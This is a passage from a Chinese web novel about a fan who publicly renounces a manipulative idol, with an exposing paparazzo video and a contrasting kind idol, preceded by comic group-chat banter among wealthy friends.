【黎云笙】:我的确不能透过网线去打你,但是我可以约线下,约吗@韩城 【黎云笙】:所以你觉得我应该换上这个头像支持我老婆绿我?@江行野 这是回应江行野之前的话。 【黎云笙】:@江行舟,你是真的很闲? 【黎云笙】:早跟你说了离韩城远点@韩越 【江行野】:卧槽!!!兄弟们云笙出现了! 黎云笙嘲讽回了句。 【黎云笙】:黎氏倒闭了,我老婆在我诸多水水CP粉好友的帮助下都要跟好友的弟弟跑了我还能不出现? 【江行野】:…… 【江行野】:我们可不可以友好一点说人话。 黎云笙满足他。 【黎云笙】:你准备好要被江老爷子揍了吗 说完这句黎云笙冷呵一声。 【黎云笙】:我觉得是时候给你们的长辈打一通电话告诉他们我结婚了,我都结婚了,你们是不是也该做准备了。 众人纷纷震惊。 黎云笙一句话真是杀伤力极强! 这年头管你是普通人还是大家族继承人,只要到了年纪谁都要被长辈催婚,任你是A市大家族继承人也逃不了。 只要黎云笙能打这通电话去报喜,这几位家里的长辈就能念到他们耳朵起茧子,说不定还有行动派直接张罗相亲,可谓十分狠毒了。 韩越是这些里面“最”算个好人的,此刻求生欲有点强。 【韩越】:主意是阿野出的,不相信的话可以看聊天记录,我们只是看着好玩,谁都没料到传出那些谣言,后面想换头像但显示系统维修中大概要有几天无法换头像了。 一段话把自己摘得干干净净,卖兄弟卖的十分迅速毫不留情。 江行舟紧跟着为了自己的单身生涯捅他江行野一刀。 【江行舟】:韩越说得对,是阿野的锅。 江行野都傻眼了,心道我是头一个换头像可那会儿也没怂恿你们这群不要脸的一起换啊!怎么还都攻击我呢!要脸不要了! 事实证明,只要能单身不被逼相亲不被长辈念他们不仅可以不要脸还能不做人。 【江行舟】:这件事可大可小,我会好好教育江恒让他不要再闹绯闻,不过这件事跟阿野脱不了关系,如果没有阿野换头像那一出也不会被记者们胡乱猜测谣言越传越离谱,你要打电话给我爷爷打电话倒也不必提起我。 【江行野】:?靠?韩越把烂摊子推我身上也就算了,可你个罪魁祸首为什么也起哄让我给你背锅! 【江行舟】:我只是把评论和那些头条以及视频分享进群,换头像的始作俑者是你。 妈的老畜生! 江行野暗暗磨牙去戳跟这群人相比较有良知的盛景炎。 【江行野】:盛景炎你说句话啊!他们太不要脸了! 片刻后盛景炎回话了。 【盛景炎】:他们有谁说的不对吗? 【江行野】:…… 日子没法过了! 江行野觉得自己果然是站在食物链底端的男人! 【江行野】:为什么又是我为什么总是我为什么还是我! 江行野咆哮。 【江行舟】:噗哈哈哈哈哈对不住,太好笑了!该说不愧是你吗 【江行野】:…… 所以说他到底为什么会跟这群人做朋友?是想不开嫌自己活得太久想减寿吗? 江行野一口血憋在胸口,正酝酿着自己攻击江行舟那奸诈狡猾老狐狸,低头哒哒哒打字。 【食物链低端】:这殊荣给你你要不要啊!@江行舟 【江行舟】:还有人会要你的东西? 江行野气的肝疼,然后就看到自己的名字被改成了“食物链底端”!!! 群内静默了几秒,纷纷开始@“食物链底端”。 江行野愤怒的靠了一声气哄哄砸手机了,生气了,绝对哄不好了! 黎云笙略微挑眉唇角隐隐带着一份不易察觉的笑意,显然是看江行野被欺负了有那么点高兴。 水水CP的事情还没有告一段落傅嘉誉曾经粉过张雨萌的事就被扒出来了,温栩栩的大粉香草拿铁给傅嘉誉发了信息。 张雨萌,也是训练营一员,不同的是张雨萌在三公的时候就已经被淘汰了。 张雨萌十四岁就去H国念书早年就在H国出道但是一直没能大火,这次回国后对自己抱着大希望打算利用训练营重新出道,但没想到被挤到三公就被淘汰,连个末尾出道位都没能捞到。 张雨萌被逼到这份儿,偏偏她视作假想敌的温栩栩一路稳坐C位,客串了赵导的电影不说还跟江恒炒CP,甚至让她发现自己曾经的大粉翻墙粉了温栩栩,张雨萌彻底炸锅了! 是的,傅嘉誉曾经粉过张雨萌。 第385章 脱粉回踩 早年傅嘉誉去H国时在路边看到过她商演,她那时粉了张雨萌,傅家有钱,傅嘉誉又是千金小姐怎么可能缺钱?她没少送张雨萌各种礼物,号召那少的可怜的粉丝给她应援。 后来知道张雨萌归国参加训练营的比赛也是最早为她应援的,但是那时傅嘉誉去后台打算看望张雨萌时听到张雨萌跟记者辱骂这群粉丝没有用不能花钱送她坐C位,她甚至还听到张雨萌提到她的名字,说她只会送那些没人要的礼物,还不如拉关系送她出道,各种辱骂的话不要钱似的往外蹦。 傅嘉誉那时才知道自己粉的是什么样的人。 她从来都是暴脾气,直接推门进去告诉张雨萌自己脱粉。 可是票都买了,总要看完公演舞台,那时她去掉对张雨萌的粉丝滤镜才发现张雨萌相貌普通业务能力也很一般,她这样的人凭什么认为自己能站在C位呢? 那一刻,她看到了舞台上光芒万丈的温栩栩。 甚至公演结束看到温栩栩跟粉丝们像是好友一样打趣,她当时叫住温栩栩问她认为粉丝和偶像是什么关系。 温栩栩看着她,看着看着就笑了。 “是朋友,是寄托,是承接了你们梦想的人,你呢,没有透过我想到你自己吗。” 温栩栩的回答让傅嘉誉更确定自己要粉她,打从那天起傅嘉誉不再登录作为张雨萌大粉的微博,而温栩栩则多了一个挥金如土的大粉。 傅嘉誉最近本来就因为傅守越的事情烦心,现在得到这消息,已经看到张雨萌的粉丝组团去辱骂她和温栩栩。 傅嘉誉越看面色越凝重。 她皱着眉回复跟她关系好的大粉香草拿铁 【晴天的小羽毛呀】:我是粉过张雨萌但是已经彻底脱粉了,以前粉她的那个大号我已经不用了,因为只想告别过去不想伤害以前喜欢过的人所以在微博上没有做告别是因为我觉得脱粉回踩是很没品的一件事。我现在是温栩栩粉丝以后也会是温栩栩粉丝这些是绝不会改变的,你告诉小羽毛们不必担心。 【晴天的小羽毛呀】:能告诉我你们怎么知道的这件事吗? 香草拿铁一直等着傅嘉誉的回复,秒回。 【香草拿铁】:张雨萌发了条微博,你去她微博看一下就知道了,你因为这件事又上热搜了!你快去看! “又”上热搜?她什么时候上热搜了? 傅嘉誉直接退出私聊点开张雨萌微博,看到张雨萌发的那条似是而非的微博心沉下去只觉讥讽。 她看到了微博热搜,是有小羽毛拍到了他跟傅守越互动的视频所以有了热度有人挖出他们的身份所以张雨萌也知道了她的身份。 傅嘉誉虽然年纪小但不是没脑子的傻瓜,一看就知道张雨萌动了什么歪心思。 那次在休息室已经算做过了最后的告别,已经算是非常明确的告诉张雨萌自己为什么脱粉,她如果还有自尊就不要再黏上来找不痛快。 她不想最后散了后还成仇人,她也清楚张雨萌现在全网黑,粉丝已经不剩多少了,所以只想留她一条路,可现在张雨萌是知道了她的身份想要挽留她甚至暗中煽动粉丝去黑温栩栩。 真是……太恶心了。 傅嘉誉对她最后一点情谊都没了。 傅嘉誉转发张雨萌发的那条微博并作出郑重声明回复。 【晴天的小羽毛呀】:{在此郑重声明我曾经的确是张雨萌大粉,没有背叛只是粉累了,不想继续粉一个不在乎粉丝的一个自私自利眼中只有自己的偶像爱豆。我现在是温栩栩的粉丝也只是温栩栩的粉丝,如果你问我为什么我只能说因为她值得。} {其实在脱粉时我并不想把这些曝光出来,当时我想的是好聚好散,毕竟脱粉回踩真的很令我作呕,而且我也不希望她余下的粉丝再因为这些事继续脱粉。所以我忍下了内心对她的厌恶。但现在她大概看到热搜知道我的真实身份所以觉得可以挽回我这个有点背景的粉丝,甚至手伸到温栩栩身上并暗示她的粉丝攻击我此刻最爱的爱豆,我实在无法忍受,所以不得不曝光我跟张雨萌的一切。} { 曾经在国内我看到张雨萌被公司安排街边活动唱歌,那一刻我被她身上洋溢的自信与对未来追逐梦想的那种强大的力量渲染。所以我粉上她也是在那一瞬间,从她还是个小透明没有一个粉丝时粉上她。那时每半个月就要坐飞机去H 国支持她给她鼓励亲手送她礼物为她讨好公司的师姐师兄前辈只希望前辈们善待她,稍后我会列出曾送出去的礼物收据表格。} {我知道她喜欢奢侈品喜欢名牌包,把省下来的零花钱都给她买礼物,我觉得送给喜欢的人礼物也是很幸福的,所以我喜欢看她开心,有人告诉我只送这些不够用心,于是我去学做玩偶送给她希望她好好保存,这里面倾注的是我对她的爱。} {后来张雨萌终于出道了,我带着朋友一起去H国为她出道夜做应援,为她租借无人机为她应援为她买下999朵玫瑰花,为她请了数不清的路人给了她一片紫色海洋。但出道这两年并没有大火,但也有了不少粉丝,我们都会为她做她喜欢的猫咪玩偶,因为送出去的那个玩偶娃娃就代表我们自己,我们把自己的爱送给你,请你一定要保护好我们呀。} {她在H国出道没能大火国内出台一系列政策,公司让她去参加选秀综艺,我和粉丝们疯狂打投应援,因为温栩栩风头正盛并压着张雨萌,我们都很讨厌温栩栩,那阵子张雨萌被黑的厉害但我坚信她不是那样的人并且执意要买票去现场支持她,不希望她孤立无援。我带着我的两位朋友一起去支持她。} {其实我们那么想去找张雨萌是因为她在舞台前两天微博私信我们希望见到我们所以我们排除万难去见她,岂料……舞台结束后我们到休息室听到她安排狗仔打算拍一些煽情照片利用我们这些粉丝来洗白,我甚至看到她把粉丝亲手做的礼物丢到垃圾桶,甚至说我们这些粉丝没用来了不如不来说我们存在的价值就是被她利用。} 发到这里傅嘉誉眉宇之间都带上了几分的戾气。 第386章 把粉丝当工具人 傅嘉誉根本控制不住自己此刻的心情,她已经被张雨萌恶心透了,所以开始在微博攻击着张雨萌。 {我们一针一线倾注所有心血自己挑选布料挑选针线小心缝制的礼物就是废品?我粉了这么多年的人变得如此陌生,我与她对峙,她却不觉得有错,甚至认为我既然粉了她就要无条件接受她,不能因为她的人设粉上她就因为这些放弃她,我觉得不可理喻。} {我问她对她来说粉丝是什么,她说我们粉丝肤浅活该被利用,说我们的爱廉价可以因为一个人的一张脸而迅速脱粉爬墙甚至嫉恨的提到温栩栩怒骂。我一直认为偶像是我们粉丝的信仰,是我们的支柱。可是我曾经喜欢的那个能为梦想付出一切发亮发光的人早就不见了!} {所以从那天开始我就彻底脱粉,而张雨萌微博的娃娃就是那时候由我送给张雨萌,这就是最后的分别礼物,是我对过去的告别,并不是不舍,我不再登陆大号只因为我想体面的告别,就这么简单。} {也不要说温栩栩抢了她的粉丝,是我自己当天离开休息间时看到温栩栩跟她的粉丝一起拍照合影像是朋友一样相处,我当时没有忍住询问她怎么看待粉丝和偶像的关系。是温栩栩告诉我在她眼中我们站在相同的高度,并且我们是双向负责相辅相成互相陪伴成长的关系,她还说“偶像是起引领作用的那束光,如果不能带你变得更好,那就不叫追星不叫追逐未来,那叫浪费时间的放逐未来。” {就像温栩栩曾说过的,她将带领粉丝走向未来,我信了,我离开了张雨萌的泥潭选择温栩栩说的未来,所以那天开始我不再是张雨萌的粉丝,我是温栩栩的粉丝。} {我粉温栩栩不是温栩栩挖我来的,是我甘愿是我喜欢是我重新选择的信仰,所以希望张小姐自重不要碰瓷,我不会回去不会再做一个被你瞧不起的只会爆金币任你利用的粉丝。}@张雨萌 傅嘉誉不是多事的人,当初那个娃娃就是她送给张雨萌最后的分别礼物,她不愿让张雨萌因为她的原因遭遇网爆,所以没有说自己脱粉只不再上那个号,换了个新注册的小号去关注温栩栩重新来过。 但这次张雨萌所做的触及傅嘉誉底线。 如果不是被惹急了傅嘉誉也不会真的跟她撕破脸闹到现在这地步。 傅嘉誉的发言能令那些已经疯狂的张雨萌粉丝有理智的去思考这些?在她们眼里傅嘉誉发的所有都是在为温栩栩开脱就是为了抹黑张雨萌。 {说的那么好听不愿意脱粉回踩?那你现在是在干什么?不就是在回踩吗?} {两嘴一碰你说的就都是真的了?谁听到雨萌对你说那些了?我们怎么知道是不是你为了蹭热度杜撰的?} {什么傅家小姐,我看分明是为了以后能顺利出道到圈子里分一杯羹所以才在这里使劲儿作妖给自己艹流量呢,不然能这么轻易的就上热搜?热搜不要钱的?哎,傅小姐你买这热搜花多少钱啊!真有钱!} 傅嘉誉被骂,但是这段跟张雨萌对峙的博文也火了,远在影视城拍戏的张雨萌自然收到了傅嘉誉的回应。 A市影视城。 “好,卡!这段过了!辛苦了,大家可以去休息了!”导演跟人打了声招呼剧组员工收工三三两两边说笑着往酒店走。 还在剧组的张雨萌面色狰狞的握着手机,她当然看到了傅嘉誉的回复,就是因为看到了傅嘉誉的回复她才更加恼火更加气愤。 “雨萌姐你怎么了?是身体不舒服吗?”助理跟在身旁关心的询问,张雨萌怒目:“滚开!别在我面前碍眼!” 助理被吓住了十分委屈的远远跟在她身后。 张雨萌握紧手机快步回到酒店房间,一遍一遍看那段视频。 没认错,那里面的人就是她曾经的大粉,曾去H国接机追过她的大粉。 她嫉恨愤怒甚至内心酸涩,可更多的是不甘,是的,不甘! 那明明是她的粉丝啊! 当初确实是她说出了过分的话导致她脱粉,所以再怎么不甘嫉妒也还能忍受,但现在却让她翻看到这则视频让她知道傅嘉誉是傅氏集团的千金小姐! 她竟然是大家族的千金小姐,她曾经的粉丝这样有价值的粉丝现在却粉了温栩栩! 这种不甘的心里逐渐在内心翻滚升腾像有什么在心尖上用刀刻写着字迹嘲讽她的无知。 既然是她的粉丝为什么不肯帮帮她呢?当初她在圈内没有资源她为什么不肯伸出援手?可以给她塞资源啊!可以让她成为训练营内定的第一名啊!凭什么只是发现了她的真实性格就脱粉去喜欢温栩栩呢? 张雨萌闭上眼睛脑海中闪过的就是傅嘉誉曾在H国一直注视她的眼神,她的眼睛像是盛满小星星,而她的满身星光。 她记得傅嘉誉每次都会带着粉丝一起应援,给公司的前辈送礼物只希望前辈们不欺负她。 她记得在H国没有出道前傅嘉誉曾说:“我要陪姐姐一起变得更好呀,姐姐是我们的晴天,而我们是猫咪玩偶,只要有你就一直是晴天就会一直都有猫咪玩偶陪在你身边!” 在H国出道那晚也是傅嘉誉带领那寥寥无几的粉丝为她应援,为她的出道夜努力。 直到……回国后参加选秀节目,被她听到那些话,她的粉丝变了。 “我们担心你被欺负带着灯牌礼物来看你想安慰你告诉你我们还在,可你是怎么对我们的!你把粉丝当什么呢!粉丝在你眼里真的是人吗!难道不是可以随意利用的工具吗物件吗!” “我们是你的粉丝就活该被你当傻子哄?” “我们崇拜喜欢你们的自由洒脱,喜欢你们的勇敢坚强喜欢你们的自强不息,因为我们知道我们做不到你们这么优秀所以我们把你们当做明灯那样去喜欢!我们最想的就是能在外面骄傲的说出我们偶像的名字!” “可你做了什么?那个在国外没日没夜艰苦训练的人去哪了?那个在舞台上发光的人去哪了?那个曾说要站上世界舞台的人去哪了!我们爱的支持的是那个张雨萌而不是现在这个卖弄人设把粉丝当工具把队友当踏板的小人!” 第387章 只能带粉丝走向噩梦 张雨萌心口痛的有些喘不过气,那些傅嘉誉曾对她说过的话让她心底发酸,她坐在桌前泣不成声。 “温栩栩活成了她们梦想的样子,因为温栩栩不需要有那些人设,她本人站在舞台上就是最亮眼的明灯。” “她能带粉丝走向未来,你只能带粉丝走向噩梦泥潭。” 傅嘉誉离开前说的那两句话直到现在还每每都像是噩梦一样在她脑海中不停的回旋。像是一台无法关闭的放映机,一遍遍说着她不如温栩栩! 怎么能这样呢!傅嘉誉是我的粉丝啊,我的粉丝才该是傅家千金啊! 张雨萌抹去眼泪,她转身看到那个傅嘉誉离开之际最后送给她的猫咪玩偶,这些天她都一直随身携带,哪怕现在自家赞助拍摄剧也要带着。 她看着那咧嘴笑的猫咪玩偶,眼底逐渐冒出怒火。 她不愿让温栩栩如此幸运还继续逍遥,那样好的粉丝是她的不是温栩栩的! 张雨萌颤抖着手终于还是拿起手机拍了那张猫咪玩偶的照片发到自己微博上并@“晴天的小羽毛呀”。 【张雨萌】:还记得这个娃娃吗,我一直都带在身边等你回来。不论我们之间有多少误会,我都相信你会回来的。@晴天的小羽毛呀。 张雨萌这一波操作成功的再度将她送上热搜。 在训练营时她都没有这么多的热度,现在却因为蹭了傅嘉誉和温栩栩的热度有了自己的热搜词条。 张雨萌的粉丝开始攻击傅嘉誉辱骂她,结果张雨萌粉丝没蹦跶多久,一个狗仔放出一长段的视频引爆舆论。 那是傅嘉誉带着自己的好友一起去公演现场时的视频,视频明显是剪辑过的,有人拿到了当时几个方向的监控录像特地拼接剪辑。 是傅嘉誉还未脱粉去看望张雨萌时的视频。 画面中是张雨萌的身影,她眉头紧皱心情不爽的开口怒骂着。 “呸,都是几个没用的女学生!”张雨萌声音懊恼还带几分嫌弃:“还以为她们能给我戴多少人来,结果就来了三个?来三个还带什么灯牌,一片红海里就那三滴水?衬的我像个笑话!” 视频中可以看出张雨萌很自卑,却是因为温栩栩不是因为粉丝。 她一直以来被粉丝捧的高高在上,利用粉丝却是顺手得很,粉丝在她眼里只是可以随意压榨的最后能用来翻一把身的工具罢了。 傅嘉誉失魂落魄的抱着怀中的猫咪玩偶,三人呆呆的站在门外,却只觉得心肺都像是快要被撕裂了。 从张雨萌出国当练习生开始就已经一直支持她,甚至多次为张雨萌去国外跟团,为此吃了不少委屈还被黄牛骗过数次,为她创建后援会,为她在微博上反黑。 那么多人都在说追星能干什么?为什么要把钱花在这种没有意义的事情上,没有人理解甚至背后骂她们追星狗。 可她们只想让自己粉的姐姐能好好的,是她们幼稚可笑最一开始就选错了吗? 张雨萌在休息室走来走去等了半天还没等到人,嘴里嘀嘀咕咕骂了几句这才不耐烦打开门。 开门就被门口的几个粉丝吓了一跳。 她拍着胸脯:“你们什么时候来的?怎么也不知道敲门?” 三人眼眶红红的望着她没说话。 张雨萌看她们这表情,想到自己在圈内的风评还有网络上那些逮着她粉丝骂的难得看她们有些可怜。 眼睛都是红的,这是看我在组里被人欺负所以心疼哭了吗?倒还真算是我的真爱粉。 “先进来吧。”张雨萌抬抬下巴,见三人都进了休息室这才拿了三瓶果汁递给三人:“先喝点东西,晚点我带你们出去吃饭。” 傅嘉誉握着果汁却没喝,张雨萌终于注意到她们每个人手中拿着的猫咪玩偶玩偶:“猫咪玩偶是你们送给我的礼物吗?” 几人不吭声,张雨萌只当她们今天受的刺激太大,因为自己所以太过伤心导致的。 休息室的门被人敲响。 张雨萌打开门看到是自己约好的狗仔,脸色变了变把人迎进来让他在一旁稍等片刻。 狗仔不屑的瞥了几人一眼,取出摄像机在一旁摆弄。 张雨萌眼神是闪烁,特意半蹲在傅嘉誉面前,她最近在节目组一直都被孤立针对,晚上根本休息不好所以整个人很憔悴。 “今天让你们过来是有点事希望你们帮我。”张雨萌苦涩笑笑:“我现在也是走投无路了。” “你们也知道我在网络上被骂成什么样子,因为我做错了一些事现在节目组的学员也都不喜欢我,这次表演出差错也是因为她们不肯跟我合作在组里对我……冷暴力。”张雨萌说到这里面露难色,狗仔却嗤笑一声,像是嘲笑她演戏似的。 张雨萌乱了心神的舔了舔唇当没听见,继续哄骗自己的小粉丝:“温栩栩太厉害了,因为她我在组里抬不起头……我输了我认了,可是我不希望那些还喜欢我的人对我失望,所以能不能请你们跟我拍几组照片,让粉丝知道……” “你想让我们知道什么呢?你要媚粉吗。”傅嘉誉讥讽的打断张雨萌的话。 “你这种时候发微博私信我们就是打的就是这种算盘,把我们几个拐过来,再哭几句让我们可怜你然后拍下照片传到网络上,塑造一种对粉丝很好的少女偶像,让剩下的粉丝继续为你卖命。” 张雨萌为什么在组内被人厌恶?是因为她背地里用小号散播其它成员的不实言论甚至买他们的黑料,这件事曝光后才会火速掉粉。 如果不是她们来早了几分听到那通电话的内容,恐怕真就像是个傻子一样任她摆弄了! 张雨萌却因为她的话一怔,怎么都没想到自己的粉丝会这种语气怼自己。 “你们这是怎么了?我只是……” 傅嘉誉再度打断她的话:“你只是走投无路了想抓几个单纯的粉丝当你的棋子给剩下的粉丝造成一种你还是个孩子的假象,拍到你跟我们一起的照片再宣传一波用个苦肉计,说不定还真的有不少人觉得你张雨萌就是个被家里面宠大的惯坏的孩子然后洗了你这满身黑料!” 第388章 脱粉 狗仔噗嗤乐了,捂着肚子在沙发上打滚儿笑的眼睛弯成一条线:“呦呦呦,都这样了还把粉丝叫来呢,可真是你的死忠粉啊 。” 张雨萌额头青筋冒起,她忍不下去低声斥道:“你们不是我的粉丝吗,你既然是我的粉丝就该向着我继续帮我!” “我们是你的粉丝就活该被你当傻子哄?” 傅嘉誉眼眶还是红的,但骂起人却毫不示弱:“明知道我们就是群没用的女学生你干什么要私信我们让我们来公演现场?我们担心你被欺负带着灯牌礼物来看你想安慰你告诉你我们还在,可你是怎么对我们的!你把粉丝当什么呢!粉丝在你眼里真的是人吗!难道不是可以随意利用的工具吗物件吗!” 张雨萌浑身一僵,那名狗仔哈哈大笑:“是呢是呢,张雨萌就是个狼心狗肺的东西,你们能帮她那就是粉丝,不能帮她那就是没有利用价值的废物。” 三名粉丝眼眶红的更厉害,狗仔却继续语言中伤:“你们真当张雨萌能多在乎你们粉丝?她要真在乎你们,就不会把你们送的猫咪玩偶全都丢进垃圾桶,她这种行为可是比某些把礼物挂在咸鱼上发卖的明星更过分呢。那些起码还是买了个钱,可不像你们的礼物到她手里就成了废品。” 傅嘉誉脚下发软瑟瑟发抖的抱紧怀里的猫咪玩偶,可抱得越紧越觉得自己像个笑话。 从粉上张雨萌的那天开始,因为她说喜欢小猫咪,所以她们每个人都会亲手缝制小娃娃,一针一线,给小娃娃缝制娃衣,去找最漂亮的扣子缝在上面,挂在房间里,以粉上张雨萌为荣…… 可现在,那些漂亮的猫咪玩偶不像是挂在房间里,却是被丢尽了污泥里,甚至还要被她呸上几口。 傅嘉誉觉得自己曾经缝制娃娃抱着娃娃睡觉更衬得自己像个傻子。 可她还有自尊心,不想再跟张雨萌纠缠,总归是粉了这么多年,好聚好散吧,以后……再也不像个傻子一样追星了。 傅嘉誉抬手抹掉眼角的泪水,深深的看她一眼:“我们这就走了,你以后保重吧。” 她也说不出什么更狠毒的话了。 狗仔把一切都扯开说后,她们就知道一切都是她们的自欺欺人,网络上那些事她们不肯信是因为不甘面对自己错付的那几年感情,不敢面对自己粉了个人渣的事实,所以才想要再来见她帮她,想告诉自己没做错事。 可事实却不容她们继续装傻充愣了,再傻下去她们自己都要瞧不起自己了。 马尾辫女孩和猫咪玩偶头女孩跟在傅嘉誉身后就要走,狗仔在一旁幸灾乐祸的开始收拾摄像机。 张雨萌彻底慌了怕了。 “不准走!你们三个不准走!”张雨萌扯拽住傅嘉誉的手臂:“你们粉了我那么多年凭什么说不粉就不粉了!” “你配吗。”傅嘉誉指着怀中的猫咪玩偶:“从你把它们丢进垃圾桶那天开始,你就已经把你的粉丝弄丢了。” “可你们当初喜欢我什么呢?不就是因为我的脸和我的歌喜欢我吗?你们的爱本来就肤浅,凭什么又要我回报那么多的深情?” 张雨萌面目狰狞:“你们的爱本来就廉价!只因为一张脸就去喜欢去支持,有了更优秀漂亮的你们马上就会去喜欢她们!所以我凭什么为了你们这样的粉丝去回报那么多!” 她抬手指向门外:“你们看看温栩栩出现后有多少人去喜欢温栩栩!有多少我的粉丝成了温栩栩的粉丝在网络上辱骂我!这就是你们肤浅可笑的喜欢!我利用你们这样的人有什么错!你们这群追星的粉丝本来就幼稚可笑也活该没利用!真正有脑子的人谁会去追星!” “你是不是真的有病!”傅嘉誉忍受不住的推开张雨萌,她简直不敢相信自己粉了这么多年的人能说出这种畜生一样的话! 傅嘉誉将手中的灯牌摔到地上,灯牌因为她的大力碎成几瓣:“你到底知不知道你当初在我们心里是偶像是女神?偶像是我们粉丝的信仰,是我们的支柱,是有一群人因为颜值去喜欢很多人,可还有我们这种把偶像当做精神支柱的人!” “我们崇拜喜欢你们的自由洒脱,喜欢你们的勇敢坚强喜欢你们的自强不息,因为我们知道我们做不到你们这么优秀所以我们把你们当做明灯那样去喜欢!” “我们最想的就是能在外面骄傲的说出我们偶像的名字!” 傅嘉誉咬牙:“可你做了什么?那个在国外没日没夜艰苦训练的人去哪了?那个在舞台上发光的人去哪了?那个曾说要站上世界舞台的人去哪了!我们爱的支持的是那个张雨萌而不是现在这个卖弄人设把粉丝当工具把队友当踏板的小人!” 张雨萌身体陡然僵硬久久说不出一句话,傅嘉誉讥嘲冷笑带着伙伴就要走,张雨萌怯怯的跟上去:“那些……那些都是人设……你们喜欢的是我的人设!” “对啊。” 傅嘉誉转过头对她笑,可那笑却是有几分释然之意:“你说了那是人设,你也知道那样的优秀的人设会让人喜欢能吸引粉丝,可那时候你也该知道我们喜欢的是你披着的那层人设皮,而不是人设下面这个性情薄凉阴险狡诈的小人。” 傅嘉誉不再抱着那个猫咪玩偶,她走过去将手中的猫咪玩偶递给张雨萌。 张雨萌目光呆滞的望着她,却还是接过了那个猫咪玩偶。 猫咪玩偶做的很漂亮,眼睛是特意找了亮眼的小纽扣缝上去的,每一针每一线都是用了心的,碰触到玩偶都能感受到猫咪玩偶内芯的柔软。 傅嘉誉目光落在猫咪玩偶身上:“你知道为什么那么多人都去喜欢温栩栩吗。” 傅嘉誉离开前给了她最后的会心一击:“因为温栩栩活成了她们梦想的样子,因为温栩栩不需要有那些人设,她本人站在舞台上就是最亮眼的明灯。” “她能带粉丝走向未来,你只能带粉丝走向噩梦泥潭。”撂下这句话,傅嘉誉像是报复到了张雨萌,唇角噙着笑的离开休息室。 第389章 她们这是粉了个什么玩意儿 说的那样狠,可是傅嘉誉转身的瞬间眼眶却红了。 粉了那么多年的人,曾经被当做信仰的人,那里是那么容易说不喜欢就不喜欢了? 可是知道了真相再继续喜欢下去,那就真是傻瓜了。 视频到这里画面一转,是另一边。 傅嘉誉眼睛红红的带伙伴离开后台,场馆外却是围满了人,那群人手中都抱着个红色的灯牌,有的手里还有温栩栩的应援手幅。 一看就是温栩栩的粉丝。 看似是围满了人其实却是有秩序的排成了两队,温栩栩眼睛弯弯的将手中的小袋子分发给粉丝,有些粉丝担心她累到主动帮她一起发放,还有些在乖巧的分发热奶茶,那些热奶茶是温栩栩买的,现在天有些冷了,她怕粉丝生病感冒。 粉丝们眼睛都是弯弯的开心又幸福。 好像是大粉喊了粉丝的名字,那名粉丝赶紧小跑过去,一群人挤在一起,而温栩栩站在最中间,一张大合照在粉丝笑着喊了茄子后被保存下来。 傅嘉誉看着眼前这一幕,却觉得真好啊。 如果粉上的是温栩栩,那就一定不会像今天这样失望吧。 “你们要来一杯吗,你们一直在看这边,要来一杯吗。”一个穿着吊带裙的短头发女孩抱着小箱子,手里是三杯热奶茶,笑的很和善友好的将热奶茶递给三人。 傅嘉誉有些错愕,却见温栩栩那边已经在跟粉丝签名交流,有个小粉丝像小仓鼠一样在她身边跑来跑去,像是激动开心,蹦蹦跳跳的样子像极了她曾经在国外见到张雨萌的模样,傻乎乎的却又单纯可爱。 短头发女孩顺着她目光看去,语气有几分骄傲:“栩栩对我们一直都很好的。” 短头发女孩笑眯眯的将热奶茶塞到三人手中:“快点喝吧再不喝就要冷掉了。” 傅嘉誉喝了一口,甜甜的奶茶滋润着她燥热的心扉,整个人因为这热奶茶冷静下来。 “温栩栩!”傅嘉誉大声站在原地大声喊了她的名字,那边闹哄哄的,但奈何她声音真的很大,那边粉丝呆呆的在一旁朝她望过来,眼神疑惑的打量她。 傅嘉誉又喝了口奶茶。 她眼睛乌黑发亮,带着对某中真理的探寻问她:“温栩栩,你觉得偶像和粉丝之间是什么关系,偶像真的高人一等吗。” 温栩栩停下手中签名的动作抬头看她。 “这世界上的人的确是分三六九等的,人生而平等这句话本就是糊弄人的,生在偏远山区的和出生在A市的就是一个天上一个地下,一个可能拼尽全力都无法离开深山一辈子碌碌无为,另一个可能轻而易举就能考入一流大学一生顺遂。人和人之间没有平等,但偶像和粉丝之间两者是平等的,没有高人一等之说。” 温栩栩眼神认真,回答的毫不敷衍:“人生而不平等,但需要我们自己将内心的思想摆正,告诉自己人生而平等。人生而不平等是现实,而我们认为人生而平等是我们的素养,不高看自己也不低看别人,这是最起码的礼貌。” “所以我不认为偶像高人一等,在我眼中我们站在相同的高度,并且我们是双向负责相辅相成互相陪伴成长的关系。” 温栩栩将签好的照片装进牛皮纸袋交给身旁的大粉继续道:“有些粉丝粉上我大概因为我的颜值和舞台,这些的确很重要,但我更希望未来能留住她们的是因为我的人品和我足够优秀的实力。” “我希望我的努力能让粉丝看到,并让粉丝像我一样抓住未来,坚定不移的走向未来,粉丝的支持和喜欢成就更坚韧的我,而我的努力也能影响粉丝,让她们越来越优秀。” 温栩栩从人群中坚定的走到傅嘉誉面前,取出湿巾擦着她眼尾糊掉的眼线:“作为粉丝追星不是为了消耗自己,追逐偶像也是追求更好的自己的一个过程。而偶像也是起引领作用的那束光,如果不能带你变得更好,那就不叫追星不叫追逐未来,那叫浪费时间的放逐未来。” 偶像和粉丝站在同等高度,是双向负责相辅相成互相陪伴成长的关系…… 追星不是为了消耗自己,而是为了追求更好的自己的一个过程…… 是啊,就是温栩栩说的这样啊,为什么张雨萌就是不明白呢。 傅嘉誉眼睫颤了颤。 “温栩栩,你真的,特别特别耀眼,像是天上最闪最美的那颗星星。”傅嘉誉脸上重新绽放出笑容对她释放出善意。 温栩栩伸出手捏捏她的脸:“比起星星,我更喜欢你把我比喻成太阳。” 傅嘉誉被她不要脸的话惊到了。 温栩栩的大粉在一旁不嫌事儿的嘿嘿一声:“栩栩,你说要让我们跟着你变更好,那你打算怎么帮我们?” 温栩栩转过身笑的有些狡黠甚至带点不怀好意:“那当然是……还在读书的催读书,工作的就好好搬砖当个尽职尽责的干饭人。” 粉丝:“???” 人话? 温栩栩继续她的魔鬼发言:“以后我会经常督促你们学习的,高中生就要好好准备高考,大学生就去考四六级,计算机证,驾驶证各种证件,哦,快毕业的时候我会催你们论文哦~有我这样一直在后面鞭策的偶像是不是超级棒呢?” 粉丝:“???”她们这是粉了个什么玩意儿!! 傅嘉誉看着温栩栩和她的粉丝打成一片在一旁咬着冰糕棍噗嗤笑的眼睛弯成小月牙。 视频很长,但前面和后面形成了鲜明对比。 离开张雨萌时傅嘉誉眼睛是红的,她在哭在难过,可是和温栩栩沟通过后她像是想明白了一切,眼睛再度亮起来。 曝光这段视频的赫然就是那天杯张雨萌请去拍摄视频和照片的狗仔。 